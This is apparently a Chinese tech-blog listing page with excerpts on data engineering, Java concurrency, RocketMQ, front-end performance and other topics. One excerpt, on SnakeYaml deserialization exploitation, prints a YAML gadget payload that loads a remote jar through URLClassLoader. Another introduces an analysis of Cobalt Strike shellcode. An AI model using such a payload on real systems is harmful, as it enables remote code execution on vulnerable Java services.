数据采集 分析仪 串口 成分
数据测试实践：从一个bug开始的大数据引擎兼容性探索
数据测试不仅关注数据加工的代码逻辑，还要考虑大数据执行引擎带来的影响，因为各种引擎框架将对同一份数据产生不同的计算或检索结果。本文将从一个年度账单bug引入，讲解在数据测试实践中对大数据执行引擎兼容性 ......
配运基础数据缓存瘦身实践
在基础数据的常规能力当中，数据的存取是最基础也是最重要的能力，为了整体提高数据的读取能力，缓存技术在基础数据的场景中得到了广泛的使用，下面会重点展示一下配运组近期针对数据缓存做的瘦身实践。 ......
SpringCloud微服务实战——搭建企业级开发框架（四十九）：数据字典注解的设计与实现
数据字典是系统中基本的必不可少的功能，在多种多样的系统中，数据字典表的设计都大同小异。但是使用方式确是多种多样，设计好一套易用的数据字典功能模块，可以使开发事半功倍。 常用的数据字典使用方式： 直接在SQL语句中LEFT JOIN （当然是不推荐这样用的） 查询出原始数据，然后再根据原始数据需要的字 ......
SpringCloud微服务实战——搭建企业级开发框架（五十）：集成移动端推送功能的系统通知公告数据库设计
系统的通知公告功能似乎是很容易被忽略的功能模块，在传统的软件系统中，一般OA类软件系统不可或缺，而在应用软件系统中此功能或有或无，在现在大多数的互联网软件系统中，此功能又必不可缺。所以，在框架设计时，我们需要考虑业务系统是否需要此功能模块，然后将此功能作为扩展插件，在需要时开启，在不需要时配置关闭即 ......
8.3现有计算机应用的一些分析2
分离的计算 学生在小学、中学学习数学时，数学完整的活动都是由纸笔媒介系统支持。数学知识印刷在课本上。解题时，问题陈述在纸上，算式可以列示在纸上，解题计算的过程也在纸上操作进行。在解题者的理解中，知识与算法，内容与过程也都是统一的，不存在需要额外的知识从这一部分过渡到另一部分。在工程技术实践中，所遇到 ......
OpenMP task construct 实现原理以及源码分析
在本篇文章当中主要给大家介绍在 OpenMP 当中 task 的实现原理，以及他调用的相关的库函数的具体实现。在本篇文章当中最重要的就是理解整个 OpenMP 的运行机制。 ......
网易数帆数据治理体系、工具、流程、制度与管理概述
导读 本文将介绍网易数帆在数据治理方面的一些总结和思考。文章将围绕以下三点展开： 1. 数据治理解决了什么问题 2. 数据治理体系 3. 浅谈数据治理的实现 01数据治理解决了什么问题 首先看一下数据治理解决了什么问题，可以总结为六个方面： 1. 数据开发与数据治理脱节 在许多企业中存在这样一个现象 ......
Hbase学习二：Hbase数据特点和架构特点
转载请注明出处： 1.Hbase数据特点 大：一个表可以有上亿行，上百万列。 面向列：面向列表（簇）的存储和权限控制，列（簇）独立检索。 稀疏：对于为空（NULL）的列，并不占用存储空间，因此，表可以设计的非常稀疏。 无模式：每一行都有一个可以排序的主键和任意多的列，列可以根据需要动态增加，同一张表 ......
echarts使用dataset数据集创建单轴散点图
dataset创建单轴散点图 由于使用echarts作图时，我很喜欢用dataset作为数据源，但是官方案例中，又没有给出相关示例，于是，在翻阅官方文档相关案例之后，结合官方文档使用dataset的示例，成功使用dataset绘制单轴散点图！ 配置项 //配置项 const option = { t ......
网页js版音频数字信号处理：H5录音+特定频率信号的特征分析和识别提取
音频数字信号处理 Audio DSP (Digital Signal Processing) 是一个复杂又专业的话题，本文介绍的是如何从音频中实时分析和识别出特定频率信号的一种方法，对应的代码为可运行在浏览器中的html5网页版（可移植）；可用于识别环境中特定频率的声音、或噪声、乐器弹奏的音调。 在 ......
SpringBoot多数据源以及事务处理
背景 在高并发的项目中，单数据库已无法承载大数据量的访问，因此需要使用多个数据库进行对数据的读写分离，此外就是在微服化的今天，我们在项目中可能采用各种不同存储，因此也需要连接不同的数据库，居于这样的背景，这里简单分享实现的思路以及实现方案。 如何实现 多数据源实现思路有两种，一种是通过配置多个Sql ......
C#NPOI操作Excel，实现Excel数据导入导出（支持多个sheet）
首先在项目中引用NPOI,通过管理NuGet程序包，搜索NPOI，选择版本2.3.0（支持.NET Framework 4.0）根据自己项目选择适当版本。 1.NpoiExcelHelper.cs Npoi操作Excel类 using System.Data; using System.IO; us ......
（原创）多线程并发：AQS源码分析（1）——独占锁的实现原理
谈到java中的并发，我们就避不开线程之间的同步和协作问题，谈到线程同步和协作我们就不能不谈谈jdk中提供的AbstractQueuedSynchronizer(翻译过来就是抽象的队列同步器)机制； (一)、AQS中的state和Node含义： AQS中提供了一个int volatile state ......
（原创）多线程并发：AQS源码分析（2）——共享锁的实现原理
在上一篇文章多线程并发（一）中我们通过acquire()详细地分析了AQS中的独占锁的获取流程，提到独占锁，自然少不了共享锁，所以我们这边文章就以AQS中的acquireShared()方法为例，来分析下并发编程中共享锁的获取与释放吧，获取共享锁的大体流程和获取独占锁一样，但是因为共享锁可以被多个线 ......
SnakeYaml的不出网反序列化利用分析
SnakeYaml的常见出网利用方式： !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://127.0.0.1:9000/yaml-payload.jar"] ]] ] 不 ......
数值的扩展方法以及新增数据类型BigInt
二进制和八进制表示法 ES6提供了二进制和八进制数值的新的写法，分别用前缀0b(或0B)和0o或(0O)表示 0b111110111 503 // true; 0o767 503; // true 在es5开始，严格模式中，八进制不允许使用前缀0 表示，否则会报错 // 严格模式 (function ......
从 B 站出发，用 Chrome devTools performance 分析页面如何渲染
页面是如何渲染的？通常会得到“解析 HTML、css 合成 Render Tree，就可以渲染了”的回答。但是具体都做了些什么，却很少有人细说，我们今天就从 Chrome 的性能工具开始，具体看看一个页面是如何进行渲染的，以及进行页面优化时需要关注哪些指标。 以“老二次元”网站 bilibili 为 ......
shin-monitor源码分析
在经过两年多的线上沉淀后，将监控代码重新用 TypeScript 编写，删除冗余逻辑，正式开源。 根据 shin-monitor 的目录结构可知，源码集中在 src 目录中。关于监控系统的迭代过程，可以参考专栏。 一、入口 入口文件是 index.ts，旁边的 utils.ts 是一个工具库。 在 ......
前端性能精进之优化方法论（二）——分析
在上一节中曾提到过两种性能监控：SYN 和 RUM，那么对应的也有两种分析：数据分析和实验室分析。 数据分析会通过采集上来的性能信息来剖析和定位可能存在的各种问题。 实验室分析会通过某个线上或本地的测试工具对页面进行单点测试，得出性能分析报告。 本文会对前者介绍一些分析实践，后者会介绍一些比较有名的 ......
odoo 给列表视图添加按钮实现数据文件导入
实践环境 Odoo 14.0-20221212 (Community Edition) 代码实现 模块文件组织结构 说明：为了更好的表达本文主题，一些和主题无关的文件、代码已略去 odoo14\custom\estate │ __init__.py │ __manifest__.py │ ├─mod ......
【RocketMQ】DLedger选主源码分析
RocketMQ 4.5版本之前，可以采用主从架构进行集群部署，但是如果master节点挂掉，不能自动在集群中选举出新的Master节点，需要人工介入，在4.5版本之后提供了DLedger模式，使用Raft算法，如果Master节点出现故障，可以自动选举出新的Master进行切换。 Raft协议 R ......
【RocketMQ】Dledger日志复制源码分析
消息存储 在 【RocketMQ】消息的存储一文中提到，Broker收到消息后会调用CommitLog的asyncPutMessage方法写入消息，在DLedger模式下使用的是DLedgerCommitLog，进入asyncPutMessages方法，主要处理逻辑如下： 调用serialize方法 ......
Cobaltstrike —— shellcode分析（一）
前言 搞iot搞久了，换个方向看看，改改口味。所以决定分析一下Cobaltstrike —— shellcode，顺便还可以提高一下逆向能力。 windows 常见结构体 在分析Cobaltstrike-shellcode之前我们得先了解一下windows下一些常见的结构体。 X86 Thread ......
redis georadius源码分析与性能优化
原文地址: https://blog.fanscore.cn/a/51/ 背景 最近接到一个需求，开发中使用了redis georadius命令取附近给定距离内的点。完工后对服务进行压测后发现georadius的性能比预期要差，因此我分析了georadius的源码，并对原始的实现方案进行了优化，总结 ......
jdbc访问KingbaseES数据库SocketTimeoutException Read timed out
jdbc访问KingbaseES数据库发生异常：SocketTimeoutException Read timed out 一、异常现象： 应用显示ERROR信息： Caused By: java.net.SocketTimeoutException: Read timed out at java. ......
【Vue】style和class 列表渲染 使用v-for进行循环 监控失效 双向数据绑定 过滤案例 事件修饰符
昨日回顾 # 1 前端发展历史 -vue react -谷歌flutter，Dart语言 -uni-app：小公司 -vue： 3.x 2.x -3.x :ts -2.x :js # 2 vue: -渐进式 -MVVM: M层：model，数据层，js V层：view，视图层，html，css VM ......
衡量算法的性能-时空复杂度分析
算法 即存在输入输出,由有限步骤结束的程序. 因此,显而易见,算法并不是指一个单一的标准答案,而是一切能够完成要求的程序都可以称之为算法.但是算法之间根据性能的不同存在差异,评判这个差异的指标就是本篇分享的重点. 评判算法优劣的指标 1.时间复杂度 时间复杂度用O()表示,它的实质是算法的计算次数 ......
Iceberg 数据治理及查询加速实践
数据治理 Flink 实时写入 Iceberg 带来的问题 在实时数据源源不断经过 Flink 写入的 Iceberg 的过程中，Flink 通过定时的 Checkpoint 提交 snapshot commit 操作到 Iceberg，将已写入到 Iceberg 的数据文件通过 Snapshot ......
ArcGIS Pro SDK 002 对数据文件的读取和操作
做系统开发或者数据处理的时候，我一般还是喜欢使用文件数据源，例如矢量用.shp文件存储，栅格数据用.tif或者.img文件存储。ArcGIS Pro SDK中对数据源操作的API和ArcObjects SDK中差别还是比较大的。 1、打开数据文件 打开文件数据的步骤如下。 （1）使用Shape文件所 ......
精华推荐 |【算法数据结构专题】「延时队列算法」史上非常详细分析和介绍如何通过时间轮（TimingWheel）实现延时队列的原理指南
时间轮的介绍 时间轮（TimeWheel）是一种实现延迟功能（定时器）的精妙的高级算法，其算法应用范围非常广泛，在Java开发过程中常用的Dubbo、Netty、Akka、Quartz、ZooKeeper 、Kafka等各种框架中，各种操作系统的定时任务crontab调度都有用到，甚至Linux内核 ......